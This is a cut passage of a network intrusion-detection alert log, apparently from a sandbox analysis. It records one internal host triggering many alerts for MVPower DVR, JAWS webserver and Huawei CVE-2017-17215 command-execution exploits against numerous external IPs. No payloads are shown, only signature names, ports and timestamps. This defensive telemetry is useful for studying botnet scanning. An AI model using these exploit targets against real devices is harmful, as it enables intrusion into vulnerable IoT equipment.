Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.146.189.28

Timestamp:	192.168.2.2362.146.189.2848810802025883 01/02/24-06:25:38.026986
SID:	2025883
Source Port:	48810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.4.186.236

Timestamp:	192.168.2.2346.4.186.23653184802030092 01/02/24-06:24:54.906257
SID:	2030092
Source Port:	53184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.26.123.215

Timestamp:	192.168.2.23197.26.123.21538682802030092 01/02/24-06:25:36.163559
SID:	2030092
Source Port:	38682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 5.135.156.6

Timestamp:	192.168.2.235.135.156.633424802025883 01/02/24-06:25:30.155873
SID:	2025883
Source Port:	33424
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 119.77.165.60

Timestamp:	192.168.2.23119.77.165.6058400802025883 01/02/24-06:23:55.158684
SID:	2025883
Source Port:	58400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.223.213.89

Timestamp:	192.168.2.2318.223.213.8951292802030092 01/02/24-06:25:25.918831
SID:	2030092
Source Port:	51292
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.82.158.98

Timestamp:	192.168.2.23104.82.158.9850494802025883 01/02/24-06:24:08.856573
SID:	2025883
Source Port:	50494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.192.122.65

Timestamp:	192.168.2.2343.192.122.6537722802025883 01/02/24-06:25:42.403229
SID:	2025883
Source Port:	37722
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.94.161.145

Timestamp:	192.168.2.2320.94.161.14533044802025883 01/02/24-06:24:17.563871
SID:	2025883
Source Port:	33044
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.209.88.190

Timestamp:	192.168.2.2335.209.88.19054520802030092 01/02/24-06:24:45.913931
SID:	2030092
Source Port:	54520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.49.86.225

Timestamp:	192.168.2.2359.49.86.22544734802030092 01/02/24-06:24:27.489026
SID:	2030092
Source Port:	44734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.27.51.32

Timestamp:	192.168.2.23184.27.51.3257188802030092 01/02/24-06:25:35.366173
SID:	2030092
Source Port:	57188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 176.119.158.219

Timestamp:	192.168.2.23176.119.158.21950988802025883 01/02/24-06:24:35.189037
SID:	2025883
Source Port:	50988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.23.98.204

Timestamp:	192.168.2.23104.23.98.20438590802030092 01/02/24-06:24:01.079300
SID:	2030092
Source Port:	38590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.47.154

Timestamp:	192.168.2.23156.253.47.15437722372152835222 01/02/24-06:24:59.013684
SID:	2835222
Source Port:	37722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 110.161.237.57

Timestamp:	192.168.2.23110.161.237.5746168802025883 01/02/24-06:25:25.756167
SID:	2025883
Source Port:	46168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 115.110.175.36

Timestamp:	192.168.2.23115.110.175.3654248802025883 01/02/24-06:25:42.911184
SID:	2025883
Source Port:	54248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.215.216.43

Timestamp:	192.168.2.2391.215.216.4359224802025883 01/02/24-06:23:50.494104
SID:	2025883
Source Port:	59224
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.46.47.242

Timestamp:	192.168.2.23193.46.47.24236186802030092 01/02/24-06:25:30.204860
SID:	2030092
Source Port:	36186
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 89.116.58.162

Timestamp:	192.168.2.2389.116.58.16258488802025883 01/02/24-06:24:18.153621
SID:	2025883
Source Port:	58488
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.72

Timestamp:	192.168.2.23156.235.102.7249608372152829579 01/02/24-06:25:03.497048
SID:	2829579
Source Port:	49608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 145.236.36.128

Timestamp:	192.168.2.23145.236.36.12840926802025883 01/02/24-06:24:59.212800
SID:	2025883
Source Port:	40926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.194.11.191

Timestamp:	192.168.2.2391.194.11.19152908802025883 01/02/24-06:24:17.758398
SID:	2025883
Source Port:	52908
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.77.132.177

Timestamp:	192.168.2.2323.77.132.17740724802030092 01/02/24-06:24:18.209402
SID:	2030092
Source Port:	40724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 94.152.11.208

Timestamp:	192.168.2.2394.152.11.20858652802025883 01/02/24-06:25:38.297923
SID:	2025883
Source Port:	58652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 50.199.186.25

Timestamp:	192.168.2.2350.199.186.2553794802025883 01/02/24-06:24:08.558341
SID:	2025883
Source Port:	53794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.11.236.142

Timestamp:	192.168.2.2345.11.236.14242078802025883 01/02/24-06:24:59.115435
SID:	2025883
Source Port:	42078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.75.21.178

Timestamp:	192.168.2.2351.75.21.17840480802025883 01/02/24-06:25:02.016731
SID:	2025883
Source Port:	40480
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 167.82.120.66

Timestamp:	192.168.2.23167.82.120.6646464802030092 01/02/24-06:24:27.487383
SID:	2030092
Source Port:	46464
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 129.21.35.145

Timestamp:	192.168.2.23129.21.35.14555408802025883 01/02/24-06:24:59.028627
SID:	2025883
Source Port:	55408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.121.60.205

Timestamp:	192.168.2.23160.121.60.20546956802030092 01/02/24-06:23:51.701184
SID:	2030092
Source Port:	46956
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.186.216.181

Timestamp:	192.168.2.23108.186.216.18145040802025883 01/02/24-06:23:51.959819
SID:	2025883
Source Port:	45040
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.87.38.17

Timestamp:	192.168.2.2350.87.38.1737480802030092 01/02/24-06:24:23.653878
SID:	2030092
Source Port:	37480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.86.91.90

Timestamp:	192.168.2.23104.86.91.9035656802025883 01/02/24-06:24:50.099510
SID:	2025883
Source Port:	35656
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.242.176.14

Timestamp:	192.168.2.2335.242.176.1443110802025883 01/02/24-06:25:21.012628
SID:	2025883
Source Port:	43110
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 119.23.86.149

Timestamp:	192.168.2.23119.23.86.14936618802025883 01/02/24-06:25:42.547024
SID:	2025883
Source Port:	36618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.15.103.21

Timestamp:	192.168.2.2323.15.103.2141670802025883 01/02/24-06:25:31.414284
SID:	2025883
Source Port:	41670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.231.34.90

Timestamp:	192.168.2.2323.231.34.9059060802030092 01/02/24-06:24:27.279281
SID:	2030092
Source Port:	59060
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.65.30.212

Timestamp:	192.168.2.2320.65.30.21242196802025883 01/02/24-06:25:03.828276
SID:	2025883
Source Port:	42196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.29.129.7

Timestamp:	192.168.2.23184.29.129.740722802030092 01/02/24-06:23:49.999892
SID:	2030092
Source Port:	40722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.215.117.24

Timestamp:	192.168.2.2385.215.117.2442578802030092 01/02/24-06:24:01.338021
SID:	2030092
Source Port:	42578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.212.109.240

Timestamp:	192.168.2.2389.212.109.24042828802030092 01/02/24-06:24:42.987046
SID:	2030092
Source Port:	42828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934232802030092 01/02/24-06:23:57.729740
SID:	2030092
Source Port:	34232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.55.6.58

Timestamp:	192.168.2.2338.55.6.5853198802025883 01/02/24-06:25:09.906087
SID:	2025883
Source Port:	53198
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.180.62.68

Timestamp:	192.168.2.2357.180.62.6834572802030092 01/02/24-06:24:44.984670
SID:	2030092
Source Port:	34572
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.212.32.2

Timestamp:	192.168.2.235.212.32.240614802030092 01/02/24-06:24:03.060009
SID:	2030092
Source Port:	40614
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 195.210.122.206

Timestamp:	192.168.2.23195.210.122.20639926802025883 01/02/24-06:25:42.425489
SID:	2025883
Source Port:	39926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.167.54.157

Timestamp:	192.168.2.23107.167.54.15750366802030092 01/02/24-06:25:31.230783
SID:	2030092
Source Port:	50366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.150.52.140

Timestamp:	192.168.2.2354.150.52.14052998802025883 01/02/24-06:24:24.012270
SID:	2025883
Source Port:	52998
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 152.200.138.81

Timestamp:	192.168.2.23152.200.138.8146794802025883 01/02/24-06:24:51.767454
SID:	2025883
Source Port:	46794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.194.49.16

Timestamp:	192.168.2.2323.194.49.1647606802030092 01/02/24-06:24:41.187072
SID:	2030092
Source Port:	47606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.79.174.31

Timestamp:	192.168.2.2399.79.174.3141104802030092 01/02/24-06:25:34.689900
SID:	2030092
Source Port:	41104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.237.242.202

Timestamp:	192.168.2.2344.237.242.20252038802030092 01/02/24-06:24:36.865314
SID:	2030092
Source Port:	52038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.75.28.175

Timestamp:	192.168.2.23202.75.28.17559818802025883 01/02/24-06:24:09.284359
SID:	2025883
Source Port:	59818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.182.204.242

Timestamp:	192.168.2.2318.182.204.24235596802025883 01/02/24-06:25:43.130381
SID:	2025883
Source Port:	35596
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.161.173.4

Timestamp:	192.168.2.23147.161.173.436874802030092 01/02/24-06:24:27.401967
SID:	2030092
Source Port:	36874
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.162.84.187

Timestamp:	192.168.2.23212.162.84.18753220802030092 01/02/24-06:24:59.055810
SID:	2030092
Source Port:	53220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.61.119.77

Timestamp:	192.168.2.23173.61.119.7736382802025883 01/02/24-06:23:51.529010
SID:	2025883
Source Port:	36382
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.25.41.249

Timestamp:	192.168.2.23104.25.41.24933472802030092 01/02/24-06:24:01.079195
SID:	2030092
Source Port:	33472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.107.146.117

Timestamp:	192.168.2.23104.107.146.11748156802030092 01/02/24-06:24:01.091302
SID:	2030092
Source Port:	48156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.180.216.73

Timestamp:	192.168.2.2357.180.216.7335048802030092 01/02/24-06:25:30.173193
SID:	2030092
Source Port:	35048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.17.132.47

Timestamp:	192.168.2.2351.17.132.4749620802025883 01/02/24-06:24:34.942338
SID:	2025883
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.198.222.192

Timestamp:	192.168.2.2323.198.222.19256304802025883 01/02/24-06:24:18.028834
SID:	2025883
Source Port:	56304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.0.11.203

Timestamp:	192.168.2.23134.0.11.20345208802030092 01/02/24-06:24:03.999636
SID:	2030092
Source Port:	45208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.121.35.80

Timestamp:	192.168.2.23172.121.35.8032926802030092 01/02/24-06:23:50.004340
SID:	2030092
Source Port:	32926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.129.5.235

Timestamp:	192.168.2.2377.129.5.23550818802025883 01/02/24-06:25:29.681948
SID:	2025883
Source Port:	50818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.44.122.130

Timestamp:	192.168.2.2320.44.122.13056304802025883 01/02/24-06:24:35.077411
SID:	2025883
Source Port:	56304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.166.210.139

Timestamp:	192.168.2.23188.166.210.13957904802030092 01/02/24-06:25:21.187951
SID:	2030092
Source Port:	57904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.37.171.104

Timestamp:	192.168.2.2323.37.171.10453882802025883 01/02/24-06:24:30.942227
SID:	2025883
Source Port:	53882
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.52.81.226

Timestamp:	192.168.2.23117.52.81.22652076802030092 01/02/24-06:25:30.193653
SID:	2030092
Source Port:	52076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.47.19.114

Timestamp:	192.168.2.2320.47.19.11445826802030092 01/02/24-06:23:56.133253
SID:	2030092
Source Port:	45826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.244.163.221

Timestamp:	192.168.2.2335.244.163.22154766802030092 01/02/24-06:23:58.944015
SID:	2030092
Source Port:	54766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.175.236.102

Timestamp:	192.168.2.2343.175.236.10258804802025883 01/02/24-06:25:44.028517
SID:	2025883
Source Port:	58804
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.214.139.17

Timestamp:	192.168.2.2323.214.139.1748916802030092 01/02/24-06:24:08.852245
SID:	2030092
Source Port:	48916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.101.194.55

Timestamp:	192.168.2.2395.101.194.5540702802030092 01/02/24-06:25:10.079630
SID:	2030092
Source Port:	40702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.155.199.105

Timestamp:	192.168.2.2318.155.199.10545054802025883 01/02/24-06:23:54.818570
SID:	2025883
Source Port:	45054
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.83.91.41

Timestamp:	192.168.2.23104.83.91.4142372802025883 01/02/24-06:24:06.101527
SID:	2025883
Source Port:	42372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 59.151.128.17

Timestamp:	192.168.2.2359.151.128.1748314802025883 01/02/24-06:24:46.386584
SID:	2025883
Source Port:	48314
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 74.39.214.23

Timestamp:	192.168.2.2374.39.214.2346062802025883 01/02/24-06:25:15.627181
SID:	2025883
Source Port:	46062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.12.99.171

Timestamp:	192.168.2.2323.12.99.17136038802025883 01/02/24-06:24:09.103574
SID:	2025883
Source Port:	36038
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.185.13.236

Timestamp:	192.168.2.2391.185.13.23641066802030092 01/02/24-06:24:40.775189
SID:	2030092
Source Port:	41066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.39.8.73

Timestamp:	192.168.2.23186.39.8.7359120802030092 01/02/24-06:25:19.095834
SID:	2030092
Source Port:	59120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.186.147.74

Timestamp:	192.168.2.2390.186.147.7442050802030092 01/02/24-06:24:54.920917
SID:	2030092
Source Port:	42050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.128.227.109

Timestamp:	192.168.2.23178.128.227.10941330802030092 01/02/24-06:25:25.911068
SID:	2030092
Source Port:	41330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 206.238.103.105

Timestamp:	192.168.2.23206.238.103.10546650802025883 01/02/24-06:24:08.700707
SID:	2025883
Source Port:	46650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.225.210.18

Timestamp:	192.168.2.2343.225.210.1847310802030092 01/02/24-06:24:55.583858
SID:	2030092
Source Port:	47310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.107.30.115

Timestamp:	192.168.2.2386.107.30.11541714802030092 01/02/24-06:25:35.089932
SID:	2030092
Source Port:	41714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.80.89.17

Timestamp:	192.168.2.23104.80.89.1760656802030092 01/02/24-06:25:31.932213
SID:	2030092
Source Port:	60656
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 1.214.84.9

Timestamp:	192.168.2.231.214.84.941418802025883 01/02/24-06:25:32.217582
SID:	2025883
Source Port:	41418
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 162.243.164.36

Timestamp:	192.168.2.23162.243.164.3647712802025883 01/02/24-06:25:00.919883
SID:	2025883
Source Port:	47712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 144.126.206.157

Timestamp:	192.168.2.23144.126.206.15750982802025883 01/02/24-06:24:28.177953
SID:	2025883
Source Port:	50982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 67.207.70.100

Timestamp:	192.168.2.2367.207.70.10055198802025883 01/02/24-06:23:52.032969
SID:	2025883
Source Port:	55198
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.66.124.196

Timestamp:	192.168.2.2352.66.124.19643216802025883 01/02/24-06:24:31.144023
SID:	2025883
Source Port:	43216
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.60.155.80

Timestamp:	192.168.2.23150.60.155.8060130802030092 01/02/24-06:24:13.765423
SID:	2030092
Source Port:	60130
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.27.12.219

Timestamp:	192.168.2.23175.27.12.21960064802030092 01/02/24-06:25:32.237664
SID:	2030092
Source Port:	60064
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 216.137.174.134

Timestamp:	192.168.2.23216.137.174.13447390802025883 01/02/24-06:25:22.016894
SID:	2025883
Source Port:	47390
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.81.147.86

Timestamp:	192.168.2.23104.81.147.8654666802025883 01/02/24-06:23:51.956424
SID:	2025883
Source Port:	54666
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 213.235.69.153

Timestamp:	192.168.2.23213.235.69.15352566802025883 01/02/24-06:25:15.717215
SID:	2025883
Source Port:	52566
